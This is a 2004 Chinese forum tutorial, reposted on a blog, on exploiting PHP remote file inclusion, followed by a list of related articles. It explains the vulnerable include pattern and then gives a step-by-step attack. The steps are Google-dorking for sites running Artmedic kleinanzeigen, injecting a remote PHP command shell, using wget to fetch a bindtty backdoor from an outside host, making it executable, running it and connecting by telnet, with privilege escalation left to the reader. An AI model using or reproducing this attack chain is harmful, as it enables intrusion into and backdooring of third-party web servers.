远程文件包含漏洞的利用

原创 2004年10月22日 23:59:00
论坛登陆名: CrAcKlOVe
提交者邮件地址: CrAcKlOVe@Zj.com
提交者QQ号码:
版权:文章属中华安全网http://www.safechina.net和作者共同所有,转载请注明出处!!
标题: 远程文件包含漏洞的利用
内容:
▲远程文件包含漏洞的利用

****************************
*AuThor:CrAcKlOvE          *
*emA!l:CrAcKlOvE#zJ.cOM    *
*HoMePaGe:N/a,mAyBe DoWn   *
****************************
1)什么是远程文件包含漏洞?
让我们先看看以下代码,
<?
<!---     cOdz    --->

include($page);

<!---     cOdz    --->
?>

由于$page变量缺少充分过滤,判断$page是不是本地的还是远程服务器上的,因此我们可以指定远程服务器的文件作为参数提交给$page变量,
以web权限执行远程文件.

2)漏洞的初步应用
假设某一站点的index.php代码如下
<?
<!---     cOdz    --->

include($page);

<!---     cOdz    --->
?>
我们就可以提交:
http://siteurl.tld/index.php?page=http://远程服务器/文件名称
假设远程服务器warez.php,内容为
<?
<!---     cOdz    --->

system("ls /tmp/");

<!---     cOdz    --->
?>
这样就能把warez.php下载到本地,并且执行! 说白了,就是把tmp下的文件显示出来.

3)实战演练
说了一大堆,现在开始锻炼实践能力了,嘿嘿.
⑴准备工作:
①存在远程文件包含漏洞的站点
②phpshell
③Backdoor

对于①,大家可以到www.cnns.net或者www.securiteam.com关注近期的漏洞,一定会有的,我们拿最近的Artmedic kleinanzeigen漏洞练手.
Artmedic kleinanzeigen由于index.php的$site变量缺少过滤,导致了远程文件包含漏洞.所以我们可以提交以下url
http://Artmedic kleinanzeigen url/path/index.php?site=http://phpshellurl
那如何找到使用Artmedic kleinanzeigen的站点呢?这里有个小技巧,我顺便说一下.
我先去Artmedic kleinanzeigen的官方站找到Artmedic kleinanzeigen程序的演示,随便点了个连接,
连接为 http://siteurl.com/index.php?site=anzeigenmaerktestart,于是
在www.google.com,搜索index.php?site=anzeigenmaerktestart,
那些!
使用Artm
edic kleinanzeigen的站就差不多出来了,我们可以一一去尝试!

对于②,我推荐Data Cha0s PHP Command/Safemode Exploit 4.1,或者angel的saphpshell,phpspy,功能都不错.

对于③,你可以使用绑定端口的程序bind,然后根据程序绑定的端口telnet.你可以使用san以前用过的Digit-Labs Connect-Back Backdoor,
不过我经常使用bindtty,bindtty绑定7474端口.

⑵开始利用
①提交http://xxx.de/index.php?site=http://phphot.com/cse.gif?cmd=id
说明一下,cse.gif是上文所说的Data Cha0s PHP Command/Safemode Exploit 4.1,cmd=id是查询当前用户的权限.
一般所都是uid=99(nobody) gid=99(nobody) groups=99(nobody),uid不是0,所以他不是root级别的帐户.
竟然可以执行,那么说明system函数没有被禁止,那我们就可以大胆的执行命令了!

②提交http://xxx.de/index.php?site=http://phphot.com/cse.gif?cmd=wget http://phphot.com/bindtty -O /tmp/bindtty
这样就把bindtty下载到tmp目录下.可能你会为,为什么要下到tmp目录下呢?因为tmp目录一般都可写.

③文件已经下载了,我们必须设置属性,不然运行不了,会提示没有权限.
http:!
//xxx.de/index.php?site=http://phphot.com/cse.gif?cmd=chmod 775 /tmp/bindtty
这样我们就有权限执行bindtty文件了!

④执行bindtty
http://xxx.de/index.php?site=http://phphot.com/cse.gif?cmd=/tmp/bindtty
成功的话,它会显示Daemon is starting...OK, pid = xxxx.
因为上文已经说bindtty绑定的是7474端口,现在我们可以telnet host 7474.
ps:不推荐使用windows命令提示符进行telnet,会出现字符混乱的现象,推荐使用putty.

⑤提升到root,这就是你的工作了.你可以根据cse.gif所显示的一些信息寻找对应的exploit进行提升权限.

这样就差不多结束了,有问题的话欢迎提出.

远程包含和本地包含漏洞的原理

首先,我们来讨论包含文件漏洞,首先要问的是,什么才是"远程文件包含漏洞"?回答是:服务器通过php的特性(函数)去包含任意文件时...
  • iiprogram
  • iiprogram
  • 2008年04月30日 17:04
  • 5553

远程文件包含漏洞的利用

论坛登陆名: CrAcKlOVe提交者邮件地址: CrAcKlOVe@Zj.com提交者QQ号码: 版权:文章属中华安全网http://www.safechina.net和作者共同所有,转载请注明出处...
  • freexploit
  • freexploit
  • 2004年10月22日 23:59
  • 1208

远程包含漏洞和本地包含漏洞

  用自己的话解释下吧,包含漏洞应该只是出在〔include(),require()和include_once(),require_once()〕这三个函数上的,每个函数的意思好象是说当判断当前文件或...
  • retty85
  • retty85
  • 2008年01月27日 09:44
  • 1879

PHP漏洞挖掘之旅——远程文件包含漏洞

PHP漏洞挖掘之旅——远程文件包含漏洞 2011, April 21, 8:31 AM. PHP学习 Submitted by admin  本篇文章源自《黑客防线》...
  • kendyhj9999
  • kendyhj9999
  • 2014年05月25日 12:10
  • 1731

远程文件包含漏洞测试

在本地搭建test.php if( !ini_get('display_errors') ) {   ini_set('display_errors', 'On');   } error_rep...
  • xing_anksh
  • xing_anksh
  • 2013年09月16日 17:15
  • 1195

文件包含漏洞

文件包含漏洞0x01 产生原因在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入分类 本...
  • Le0nis
  • Le0nis
  • 2016年07月27日 11:13
  • 4382

文件包含漏洞

1、什么是文件包含漏洞 文件包含,包括本地文件包含(Locao file inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)两种形式。 首先,本地文件包含...
  • jiangliuzheng
  • jiangliuzheng
  • 2016年09月01日 11:13
  • 2711

文件包含漏洞的利用

本地包含 普通本地包含 只要网站支持上传,上传任意后缀文件,只要其中包含一句话,包含即可执行。 测试代码 POC http://127.0.0.1/test/123.php?f=test.txt ...
  • wangyi_lin
  • wangyi_lin
  • 2013年08月08日 22:26
  • 5663

[web安全] 文件包含漏洞

严格来说,文件包含漏洞是“代码注入”的一种。 “代码注入”的典型代表就是文件包含(File Inclusion)。文件包含可能会出现在JSP、PHP、ASP等语言中。 PHP常见的导致文件包含的函数如...
  • hitwangpeng
  • hitwangpeng
  • 2015年05月24日 16:05
  • 7933

dedecms-v5.7-sp1远程文件包含getshell

前段时间自己搭了个dedecms-v5.7-sp1的靶机来练手,偶然在网上发现了一篇靠谱的文章,讲的是dedecms的一个远程文件包含getshell的方法,理解了以后决定自己再写出来,以加深印象~ ...
  • What_Happened
  • What_Happened
  • 2016年12月13日 14:13
  • 1972
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:远程文件包含漏洞的利用
举报原因:
原因补充:

(最多只允许输入30个字)